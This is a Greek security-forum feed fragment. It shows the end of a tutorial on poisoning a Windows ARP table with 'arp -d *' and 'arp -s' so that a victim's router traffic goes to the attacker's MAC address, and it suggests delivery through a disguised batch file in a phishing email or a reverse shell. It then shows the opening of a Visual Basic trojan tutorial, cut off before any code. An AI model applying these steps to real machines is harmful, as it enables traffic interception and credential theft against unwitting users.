Helvetica;font-size:14.4px;"&gt;Εικόνα 1: Τα περιεχόμενα του πίνακα ARP&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;O πίνακας ARP περιέχει την σύνδεση μεταξύ της IP address ενός υπολογιστή (ή καλύτερα ενός network interface) στο δίκτυο και της&amp;nbsp;&lt;/span&gt;&lt;a class="bbc_url" title="External link" rel="nofollow" style="text-decoration-line:none;font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" href="https://en.wikipedia.org/wiki/MAC_address"&gt;MAC Address&lt;/a&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&amp;nbsp;του. Για τους πιο θεωρητικούς, πρόκειται για μια σύνδεση μεταξύ του&amp;nbsp;&lt;/span&gt;&lt;a class="bbc_url" title="External link" rel="nofollow" style="text-decoration-line:none;font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" href="https://en.wikipedia.org/wiki/Data_Link_Layer"&gt;OSI layer level 2&lt;/a&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&amp;nbsp;(Data Link Layer – όπως η MAC Address) με το&amp;nbsp;&lt;/span&gt;&lt;a class="bbc_url" title="External link" rel="nofollow" style="text-decoration-line:none;font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" href="https://en.wikipedia.org/wiki/Network_Layer"&gt;OSI layer 3&lt;/a&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&amp;nbsp;(Network Layer – όπως η IP Address).&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Αυτός ο πίνακας "ζει" και ανανεώνεται στην μνήμη του κάθε ένα υπολογιστή. Στο παράδειγμα της εικόνας 1, βλέπουμε ότι στον τρέχον υπολογιστή στο interface με IP 192.168.1.66 είναι καταχωρημένες εφτά συσκευές, ή για να είμαι πιο ακριβής, εφτά network interfaces (θα το εξηγήσω αυτό περισσότερο στην επόμενη παράγραφο). Η πρώτη στήλη είναι η IP address (Internet address) η δεύτερη στήλη είναι η MAC address και η τρίτη στήλη αναφέρει αν η συγκεκριμένη καταχώρηση είναι στατική ή δυναμική. Οι δυναμικές καταχωρήσεις εισάγονται αυτόματα (όταν γίνει αναφορά κάποιας διεύθυνσης που δεν είναι ήδη καταχωρημένη) από ένα πρόγραμμα που δίνεται μαζί με το λειτουργικό σύστημα και ονομάζεται&amp;nbsp;&lt;/span&gt;&lt;a class="bbc_url" title="External link" rel="nofollow" style="text-decoration-line:none;font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" href="https://el.wikipedia.org/wiki/DHCP"&gt;DHCP server&lt;/a&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;. Π.χ. Αν κάνω ένα ping σε κάποια μη καταχωρημένη διεύθυνση, τότε αυτή εισάγεται ή αν υπάρχει ήδη τότε ενημερώνεται (εφόσον δεν είναι στατική!!). Οι Στατικές καταχωρήσεις μπορούν να εισάγονται από προγράμματα ή από τον ίδιο τον χρήστη. Αυτές έχουν προτεραιότητα έναντι των δυναμικών. Κρατήστε το αυτό! Θα μας χρειαστεί λίγο αργότερα.&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Σας χρωστάω όμως μια εξήγηση. Προηγουμένως ήθελα να είμαι ακριβής και ανάφερα ότι στον πίνακα ARP καταχωρούνται interfaces και όχι κατ' ανάγκη συσκευές μεμονωμένες. Θα δώσω ένα παράδειγμα μια και πρόκειται για ένα θέμα που δεν είναι συχνά ξεκάθαρο σε πολλούς: Το laptop μου όταν συνδέεται μέσω καλωδίου (RJ-45) έχει ενεργό τόσο το ασύρματο interface όσο και το ενσύρματο, το τοπικό. Ο DHCP server δίνει διαφορετική IP σε κάθε interface και φυσικά έχουν και διαφορετική MAC address μια και πρόκειται για διαφορετικές κάρτες δικτύου. Μια τέτοια κατάσταση απεικονίζεται στον πίνακα ARP σαν δύο διαφορετικές εγγραφές (συσκευές) η κάθε μια με την δική της IP. Αυτό είναι απολύτως φυσικό εφόσον ο πίνακας ARP κρατά interfaces και όχι συσκευές (π.χ. υπολογιστές). Στο δικό μας box, στην εικόνα 1, βλέπουμε τρία διαφορετικά interfaces για τον τρέχοντα υπολογιστή που τρέξαμε την εντολή "arp -a". To κάθε ένα με τις δικές του καταχωρήσεις.&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Και τώρα που τα καταλάβαμε όλα και είμαστε γεμάτοι γνώσεις και ενθουσιασμό, ας προχωρήσουμε στην πράξη!&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Για να δούμε όμως όλο το "σκηνικό" αυτό στην πράξη και μάλιστα τι ακριβώς γίνεται "behind the scenes" καλό θα ήταν να ανοίξουμε τον αγαπημένο μας sniffer (http://www.wireshark.org/ - εικόνα 2).&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;img style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" src="http://www.s3cure.gr/THISEAS/ARPII_pic02.PNG"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Εικόνα 2: Επιλογή network interface με τον γνωστό wireshark sniffer σε σVista.&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Ανοίγω τον sniffer και επιλέγω network interface (εικόνα 2). Διαλέγω το interface εκείνο που "βλέπει" την IP 192.168.1.68 το οποίο αντιστοιχεί στην ενσύρματα κάρτα δικτύου μου. Να τονίσω ότι αν εσείς δοκιμάσετε κάτι αντίστοιχο, το πιθανότερο είναι να έχετε μια εντελώς διαφορετική εικόνα, αφού η κάρτα δικτύου σας μπορεί να αντιστοιχεί σε μια εντελώς διαφορετική IP.&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Πριν πατήσω το button start, πάμε να ρίξουμε μια ματιά στα options (εικόνα 3). Πρέπει να έχετε ενεργοποιημένο το checkbox: Capture packets in promiscuous mode. Αυτό σημαίνει ότι ο sniffer μας θα συλλαμβάνει και τα πακέτα δεδομένων που διακινούνται στο LAN μας τα οποία δεν προορίζονται μόνο για εμάς, δηλαδή μόνο για τον 192.168.1.68. Μετά από αυτό μπορώ πλέον με χαρά να πατήσω το κουμπί start αν θέλω να αρχίσω να παρακολουθώ την κίνηση των πακέτων δεδομένων στο LAN.&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;img style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" src="http://www.s3cure.gr/THISEAS/ARPII_pic03.PNG"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Εικόνα 3: Η επιλογές της κάρτας δικτύου για την παρακολούθηση των πακέτων.&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Επίσης, μην ξεχάσω να δω ποια είναι η MAC Address μου ώστε να την χρησιμοποιήσω αργότερα όταν θα "χαλάσω" το box θύμα. Δίνω λοιπόν, την παρακάτω εντολή (φυσικά από την γραμμή εντολών!):&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;i style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;font color="#00ff00"&gt;&lt;b&gt;C:&amp;gt; ipconfig /all |more&lt;/b&gt;&lt;/font&gt;&lt;/i&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;To αποτέλεσμα το βλέπουμε στην εικόνα 4. Παρατηρείστε ότι η παραπάνω εντολή μας εμφανίζει όλα τα network interfaces με πρώτο και καλύτερο αυτό της ασύρματης κάρτας το οποίο είναι επίσης ενεργό. Βλέπουμε ότι κάθε intreface έχει την δικιά του IP και την δικά του MAC address. Μην ακούσω λοιπόν ποτέ ξανά κανέναν να ισχυρίζεται οτι σε ένα box δεν είναι δυνατόν να έχουμε παραπάνω από 1 MAC address!&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Παρατηρούμε λοιπόν, ότι η MAC διευθύνση για την ενσύρματη κάρτα δικτύου μου είναι η 14-49-62-80-E2-AA.&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;img style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" src="http://www.s3cure.gr/THISEAS/ARPII_pic04.PNG"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Εικόνα 4: Τσεκάροντας τo network interface μας και την MAC address του.&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Επίσης δώστε βάση και στην τιμή "DNS servers" (192.168.1.254). Είναι η IP του router μου! Μην την ξεχάσετε... θα μας χρειαστεί!&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Είμαι τώρα έτοιμος να κάνω την επίθεση. Αυτό που θα κάνω είναι να τρέξω στο box του "θύματος" την εντολή arp με τέτοιες παραμέτρους ώστε&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;1.Να διαγράψω τις τιμές που γνωρίζει ήδη για τα άλλα boxes του δικτύου και&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;2.Να βάλω τις δικές μου τιμές. Με στόχο να μπερδέψω το "θύμα", σαν δική μου τιμή θα βάλω το εξής: Θα δηλώσω στον πίνακα ARP του θύματος ότι η IP του router συνδέεται με την δική μου MAC address! Αυτό θα έχει σαν αποτέλεσμα, κάθε κλήση στο internet που θα κάνει το θύμα, να αποστέλλεται στο δικό μου box. Μήπως αυτό σας θυμίζει το 1ο βήμα μιας επίθεση MITM; Ναι, ίσως είναι. Αλλά αυτό και μόνο το βήμα είναι αρκετό για να "μπλοκάρει" την σύνδεση του θύματος με το διαδίκτυο, μιας και όλες η κλήσεις του προς οποιονδήποτε server θα στέλνονται στο δικό μου box το οποίο και θα τις αγνοεί παραδειγματικά!&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Τα 1 και 2 υλοποιούνται πάρα μα πάρα πολύ εύκολα με δυο εντολές (εικόνα 5):&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Για το 1 τρέχουμε την εντολή&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;font color="#00ff00" style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;i&gt;&lt;b&gt;C:&amp;gt; arp -d&amp;nbsp;*&lt;/b&gt;&lt;/i&gt;&lt;/font&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;και διαγράφουμε όλες τις αναφορές του πίνακα ARP. Μην τρομάζετε όμως, αυτό δεν είναι και τόσο κακό μια και με κάθε κλήση σε κάποια άλλη διεύθυνση ο Κος Δρομολογητής μας θα ενημερώσει αμέσως τον πίνακα ARP... εκτός κι αν τον προλάβουμε και τρέξουμε το παρακάτω:&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;font color="#00ff00" style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;i&gt;&lt;b&gt;C:&amp;gt; arp -s 192.168.1.254 14-49-62-80-e2-aa&lt;/b&gt;&lt;/i&gt;&lt;/font&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Εδώ βρίσκεται όλο του ζουμί αυτού του άρθρου! Με την εντολή αυτή εισάγω στον πίνακα ARP μια εγγραφή η οποία λέει: Ο router (192.168.1.254) έχει mac address την&amp;nbsp;&lt;/span&gt;&lt;i style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;b&gt;14-49-62-80-e2-aa&lt;/b&gt;&lt;/i&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;, που είναι η δική μου mac address! Μάλιστα παρατηρώ ότι η παραπάνω εντολή δημιουργεί μια εγγραφή στον πίνακα ARP τύπου static (εκόνα 5)! Μάλιστα. Η εγγραφή πια δεν αλλάζει εκτός κι αν τρέξει κάποιος το&amp;nbsp;&lt;/span&gt;&lt;b style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;arp -d *&lt;/b&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;img style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" src="http://www.s3cure.gr/THISEAS/ARPII_pic05.PNG"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Εικόνα 5: Η επίθεση σε εξέλιξη στον υπολογιστή θύμα!&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Ένας κακόβουλος χρήστης μπορεί να υλοποιήσει τα παραπάνω με πολλούς τρόπους. Κατ' αρχάς βάζει τις παραπάνω εντολές σε ένα batch file και μετά:&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;1. Μπορεί να μπει στον υπολογιστή σας όσο λείπετε και να το εκτελέσει από ένα memory stick. Απαιτεί φυσική πρόσβαση στο box σας! Σπάνιο αλλά όχι αδύνατο.&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;2. Μπορεί να μπει στον υπολογιστή σας όσο λείπετε, να ανοίξει ένα command prompt και να εκτελέσει απλά τις εντολές. Επίσης, απαιτεί φυσική πρόσβαση στο box σας! Σπάνιο αλλά όχι αδύνατο. Αρκεί να μην σας βάλουν στο... μάτι.&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;3. Να σας στείλει ένα mail με τίτλο "Κοίτα τι όμορφο πρόγραμμα βρήκα" ή "Έλα Αλέκο βρήκα το πρόγραμμα που μου ζήτησες..." και να έχει attach το batch file που να σας προτρέπει να το πατήσετε. Σε Win sVista/7 απαιτεί admin rights, εκτός κι αν έχετε&amp;nbsp;&lt;/span&gt;&lt;a style="text-decoration-line:none;font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" href="https://www.blogsdna.com/2168/windows-7-how-to-open-elevated-command-prompt-with-administrator-privileges.htm"&gt;απενεργοποιήσει το UAC&lt;/a&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;...&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;4.Να μπει με&amp;nbsp;&lt;/span&gt;&lt;a class="bbc_url" title="External link" rel="nofollow" style="text-decoration-line:none;font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" href="http://www.metasploit.com/"&gt;metasploit&lt;/a&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&amp;nbsp;εκμεταλλευόμενος κάποια αδυναμία του λειτουργικού συστήματος σας καλώντας ένα&amp;nbsp;&lt;/span&gt;&lt;a class="bbc_url" title="External link" rel="nofollow" style="text-decoration-line:none;font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" href="http://pctechtips.org/backtrack-metasploit-reverse-shell/"&gt;reverse shell&lt;/a&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&amp;nbsp;οπότε μετά απλά μπορεί να εκτελέσει τις παραπάνω εντολές.&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Οι τρόποι είναι πάρα πολλοί. Τόσοι, όσοι μπορείτε να σκεφτείτε αν αναρωτηθείτε πως είναι δυνατόν κάποιος να τρέξει εντολές στο PC σας με τη θέληση σας ή με την άγνοια σας ή με ότι άλλο φανταστείτε τόσο εσείς όσο κι εγώ&amp;nbsp;&lt;/span&gt;&lt;img class="bbc_emoticon" alt="B)" style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" src="http://p0wnbox.com/public/style_emoticons/default/cool.gif"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Από την στιγμή που θα τρέξουν η δύο παραπάνω εντολές, όλες κλήσεις προς στο internet στον υπολογιστή "θύμα" θα πέφτουν σε εμάς (στην δική μου IP)... ή αλλιώς στο κενό (εικόνα 6).&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;img style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" src="http://www.s3cure.gr/THISEAS/ARPII_pic06.PNG"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Εικόνα 6: Αχρηστεύοντας προσωρινά το internet του φίλου μας!&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Έχω προετοιμαστεί και για μια παρακολούθηση, όμως ε? Μάλιστα βλέπω στον sniffer, πακέτα που προέρχεται από την IP του θύματος (192.168.1.69) να προσπαθεί μάταια να δει το travel link του site www.msn.com (εικόνα 7).&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;img style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;" src="http://www.s3cure.gr/THISEAS/ARPII_pic07.PNG"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Εικόνα 7: Το θύμα προσπαθεί να επισκεφτεί ένα link "επί ματαίω" κι εγώ τον παρακολουθώ!&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Θα μπορούσα (όπως είπα στην αρχή), σε αυτό το σημείο να κάνουμε και κάτι άλλο, σαν επέκταση τις επίθεσης μας: Μόλις λαμβάνω τα πακέτα δεδομένων από το θύμα, να τα στέλνω στον router αντί να τα "πνίγω" και μετά αφού ο router μας απαντούσε να έστελνα την απάντηση πίσω στο θύμα. Ακριβώς! Καλά το καταλάβατε. Σε αυτήν την περίπτωση θα είχα υλοποιήσει μια επίθεση Man In The Middle - ΜΙΤΜ κλέβοντας και παρακολουθώντας όλες τις κινήσεις του θύματος στο internet, με ότι αυτό συνεπάγεται. Δηλαδή, θα μπορούσα να δω κωδικούς πιστωτικών καρτών, passwords, mails κλπ κλπ! Γενικά θα έλεγα (με υψηλή πιθανότητα επιτυχίας), ότι θα προέκυπτε μια καθόλου ευχάριστη κατάσταση για το "θύμα" μας...!&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Χμ... Έχει μείνει ακόμα ένα σκοτεινό σημείο: Αν το "θύμα" έκανε restart τον υπολογιστή του, θα την γλίτωνε; Θα καθάριζε ο ARP table ακόμα κι από τις στατικές καταχωρήσεις;&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Η απάντηση είναι ΝΑΙ.&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Με το restart το ARP table γίνεται clear τόσο από δυναμικές όσο και από στατικές καταχωρήσεις.&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Όλα αυτά που παρουσίασα δεν έχουν στόχο μόνο την εκπαίδευση αλλά και την προστασία μας αφού το ρητό "&lt;/span&gt;&lt;i style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;η γνώση είναι δύναμη&lt;/i&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;" επαληθεύεται ακόμα και πίσω από την αρχή:&lt;/span&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;i style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;b&gt;Μάθε πως σκέφτεται ένας κακός χρήστης. Θα σου χρειαστεί για να προφυλαχτείς καλύτερα.&lt;/b&gt;&lt;/i&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;br style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;&lt;span style="font-family:Tahoma, Arial, Helvetica;font-size:14.4px;"&gt;Happy ARPing!&lt;/span&gt;</description></item><item><title>Προγραμματίζοντας ένα Trojan στο Visual Basic 6.0</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/57143.aspx</link><pubDate>Tue, 16 Feb 2010 01:34:06 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:57143</guid><dc:creator>Secured</dc:creator><slash:comments>4</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/57143.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=57143</wfw:commentRss><description>&lt;div&gt;Tutorial Visual Basic 6.0 Trojan&lt;/div&gt;&lt;div&gt;Author: Atomix&lt;/div&gt;&lt;div&gt;Website: &lt;a href="http://onsecurity.org"&gt;http://onsecurity.org&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Αυτό το Tutorial απευθύνεται σε "πολύ" αρχάριους χρήστες όσον αφορά το προγραμματισμό σε Visual Basic!&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Ανάλυση θέματος από το "0" (αρχή) με προσοχή!&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Θα σας δείξω πως μπορείτε να προγραμματίσετε ένα απλό trojan στο Visual Basic 6.0. Θα δούμε τις λειτουργίες του trojan.&lt;/div&gt;&lt;div&gt;Θα σας το παρουσιάσω με παραδείγματα και εικόνες.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Client:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Δημιουργούμε ένα νέο Project 'Standard EXE'.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://img251.imageshack.us/img251/2903/vb1.png" border="0" /&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Θα εισάγουμε ένα 'TextBox', για την IP, και ένα 'CommandButton' για την σύνδεση με το server.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://img695.imageshack.us/img695/7074/vb2.png" border="0" /&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Επίσης θα βάλουμε και άλλα δύο "κουμπιά" (CommandButtons), το ένα να ανοίγει το 'notepad' και το άλλο για το 'cmd'.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://img85.imageshack.us/img85/2609/vb3g.png" border="0" /&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Κάνετε διπλό κλικ στο Form1 και βάλτε το παρακάτω script:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%" style="background-color:#f2f2f2;border:solid 1px #e5e5e5;"&gt;&lt;tr style="vertical-align:top;line-height:normal;"&gt;&lt;td style="width:40px;text-align:right;"&gt;&lt;pre style="font-family:courier new;font-size:11px;color:gray;margin:0px;padding:2px;border-right:solid 1px #e7e7e7;"&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 &lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;pre style="margin:0px;padding:2px;padding-left:8px;"&gt;&lt;span style="color:Black;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Private&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Sub&lt;/span&gt; Command1_Click()
